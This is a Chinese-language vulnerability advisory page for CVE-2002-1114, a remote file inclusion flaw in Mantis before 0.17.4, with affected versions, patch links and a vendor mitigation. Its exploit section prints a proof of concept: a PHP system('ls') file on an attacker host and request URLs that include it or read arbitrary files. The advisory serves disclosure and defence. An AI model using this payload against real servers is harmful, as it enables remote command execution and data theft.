CVE-2002-1114
CVSS7.5
发布时间 :2002-10-04 00:00:00
修订时间 :2016-10-17 22:23:45
NMCOS    

[原文]config_inc2.php in Mantis before 0.17.4 allows remote attackers to execute arbitrary code or read arbitrary files via the parameters (1) g_bottom_include_page, (2) g_top_include_page, (3) g_css_include_file, (4) g_meta_include_file, or (5) a cookie.


[CNNVD]mantis配置远程文件包含命令执行漏洞(CNNVD-200210-189)

        
        mantis是一款基于WEB的PHP编写MySQL后台支持的漏洞跟踪系统。
        mantis在包含某些配置文件时对用户的输入缺少检查,远程攻击者可以利用这个漏洞包含远程服务器上的文件以WEB进程权限执行任意命令或者查看任意文件。
        Mantis允许用户自己配置在页面顶端和底部的包含的文件,以及包含CSS样式表和meta标记的文件。这些文件的路径在default/config_inc2.php中通过如下变量:
        $g_bottom_include_page, $g_top_include_page, $g_css_include_file,
        $g_meta_include_file设置。
        但config_inc2.php存在一个错误,它只在上述变量没有被设置的情况下才进行初始化,这就允许攻击者通过GET/POST/cookie方式在参数中设置上述变量,就可以包含远程服务器上的恶意文件而导致在系统上以WEB用户执行任意命令或者导致系统文件内容泄露。
        

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:mantis:mantis:0.17.2
cpe:/a:mantis:mantis:0.17.3
cpe:/a:mantis:mantis:0.17.0
cpe:/a:mantis:mantis:0.17.1

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1114
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2002-1114
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200210-189
(官方数据源) CNNVD

- 其它链接及资源

http://marc.info/?l=bugtraq&m=102978711618648&w=2
(UNKNOWN)  BUGTRAQ  20020819 [Mantis Advisory/2002-05] Arbitrary code execution and file reading vulnerability in Mantis
http://www.debian.org/security/2002/dsa-153
(UNKNOWN)  DEBIAN  DSA-153
http://www.iss.net/security_center/static/9900.php
(VENDOR_ADVISORY)  XF  mantis-configinc-var-include(9900)
http://www.securityfocus.com/bid/5509
(UNKNOWN)  BID  5509

- 漏洞信息

mantis配置远程文件包含命令执行漏洞
高危 设计错误
2002-10-04 00:00:00 2005-10-20 00:00:00
远程  
        
        mantis是一款基于WEB的PHP编写MySQL后台支持的漏洞跟踪系统。
        mantis在包含某些配置文件时对用户的输入缺少检查,远程攻击者可以利用这个漏洞包含远程服务器上的文件以WEB进程权限执行任意命令或者查看任意文件。
        Mantis允许用户自己配置在页面顶端和底部的包含的文件,以及包含CSS样式表和meta标记的文件。这些文件的路径在default/config_inc2.php中通过如下变量:
        $g_bottom_include_page, $g_top_include_page, $g_css_include_file,
        $g_meta_include_file设置。
        但config_inc2.php存在一个错误,它只在上述变量没有被设置的情况下才进行初始化,这就允许攻击者通过GET/POST/cookie方式在参数中设置上述变量,就可以包含远程服务器上的恶意文件而导致在系统上以WEB用户执行任意命令或者导致系统文件内容泄露。
        

- 公告与补丁

        临时解决方法:
        如果您不能立刻安装补丁或者升级,CNNVD建议您采取以下措施以降低威胁:
        * 如果您无法立刻升级,也可以手工修复此漏洞,在core_API.php中增加下列语句进行检查:
         if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
         isset($HTTP_POST_VARS['g_top_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
         exit;
         }
         if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
         isset($HTTP_POST_VARS['g_bottom_include_page']) ||
         isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
         exit;
         }
         if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
         isset($HTTP_POST_VARS['g_css_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
         exit;
         }
         if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
         isset($HTTP_POST_VARS['g_meta_include_file']) ||
         isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
         exit;
         }
        注:0.17.4a之前的版本还存在其他的严重漏洞,因此CNNVD建议您还是尽快升级到最新版本。
        * 在Php.ini文件中设置allow_url_fopen为Off, 或者'register_globals' 为Off。
        厂商补丁:
        Debian
        ------
        Debian已经为此发布了一个安全公告(DSA-153-2)以及相应补丁:
        DSA-153-2:New mantis package fixes several vulnerabilities
        链接:
        http://www.debian.org/security/2002/dsa-153

        补丁下载:
        Debian GNU/Linux 3.0 alias woody
        - --------------------------------
         Source archives:
        
        http://security.debian.org/pool/updates/main/m/mantis/mantis_0.17.1-2.2.dsc

         Size/MD5 checksum: 572 b0e1d4b5e021afd1445497e79db30c99
        
        http://security.debian.org/pool/updates/main/m/mantis/mantis_0.17.1-2.2.diff.gz

         Size/MD5 checksum: 13992 808ef6b8552bfd50b9e1a0abb34620fd
        
        http://security.debian.org/pool/updates/main/m/mantis/mantis_0.17.1.orig.tar.gz

         Size/MD5 checksum: 220458 d8bac093eaf31ef5812e714db5c07f82
         Architecture independent components:
        
        http://security.debian.org/pool/updates/main/m/mantis/mantis_0.17.1-2.2_all.deb

         Size/MD5 checksum: 249206 3891cfe394de49d7e57a4b4ed8f7db6f
        补丁安装方法:
        1. 手工安装补丁包:
         首先,使用下面的命令来下载补丁软件:
         # wget url (url是补丁下载链接地址)
         然后,使用下面的命令来安装补丁:
         # dpkg -i file.deb (file是相应的补丁名)
        2. 使用apt-get自动安装补丁包:
         首先,使用下面的命令更新内部数据库:
         # apt-get update
        
         然后,使用下面的命令安装更新软件包:
         # apt-get upgrade
        Mantis
        ------
        目前厂商已经发布了0.17.4a以修复这个安全问题,请到厂商的主页下载:
        
        http://mantisbt.sourceforge.net/download.php3

- 漏洞信息

6211
Mantis config_inc2.php Multiple Variable Arbitrary Command Execution
Remote / Network Access

- 漏洞描述

Unknown or Incomplete

- 时间线

2002-08-19 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Mantis Configuration Remote File Include Command Execution Vulnerability
Design Error 5509
Yes No
2002-08-19 12:00:00 2009-07-11 03:56:00
Discovery of this issue is credited to Andrew Johnson. The Debian Security Team also independently discovered this issue.

- 受影响的程序版本

Mantis Mantis 0.17.3
Mantis Mantis 0.17.2
Mantis Mantis 0.17.1
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
Mantis Mantis 0.17 .0
Mantis Mantis 0.17.4 a
Mantis Mantis 0.17.4

- 不受影响的程序版本

Mantis Mantis 0.17.4 a
Mantis Mantis 0.17.4

- 漏洞讨论

Mantis depends on some include files for configuration of the bug tracking system. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server.

Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.

- 漏洞利用

The following proof-of-concept was provided:

The attacker may create the following file (listings.txt) on a server they have access to:

<?php
system('ls');
exit;
?>

And then cause it to be included with the following request:

http://target/mantis/login_page.php?g_meta_include_file=http://attackershost/listings.txt

Any Mantis script that outputs something is sufficient. However, login.php does not require authentication to be accessed.

The following request will disclose arbitrary webserver readable files:

http://target/mantis/login_page.php?g_css_include_file=arbitraryfile

- 解决方案

Exploitation of this and other remote file include issues may be limited by disabling both 'allow_url_fopen' and 'register_globals' in the local site PHP configuration.

This issue has been addressed in Mantis 0.17.4 and later.

The vendor has announced that if an upgrade cannot be applied, the vulnerability can be addressing by inserting the following lines in core_API.php:

if ( isset($HTTP_GET_VARS['g_top_include_file']) ||
isset($HTTP_POST_VARS['g_top_include_file']) ||
isset($HTTP_COOKIE_VARS['g_top_include_file']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_bottom_include_page']) ||
isset($HTTP_POST_VARS['g_bottom_include_page']) ||
isset($HTTP_COOKIE_VARS['g_bottom_include_page']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_css_include_file']) ||
isset($HTTP_POST_VARS['g_css_include_file']) ||
isset($HTTP_COOKIE_VARS['g_css_include_file']) ) {
exit;
}

if ( isset($HTTP_GET_VARS['g_meta_include_file']) ||
isset($HTTP_POST_VARS['g_meta_include_file']) ||
isset($HTTP_COOKIE_VARS['g_meta_include_file']) ) {
exit;
}


Mantis Mantis 0.17 .0

Mantis Mantis 0.17.1

Mantis Mantis 0.17.2

Mantis Mantis 0.17.3

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站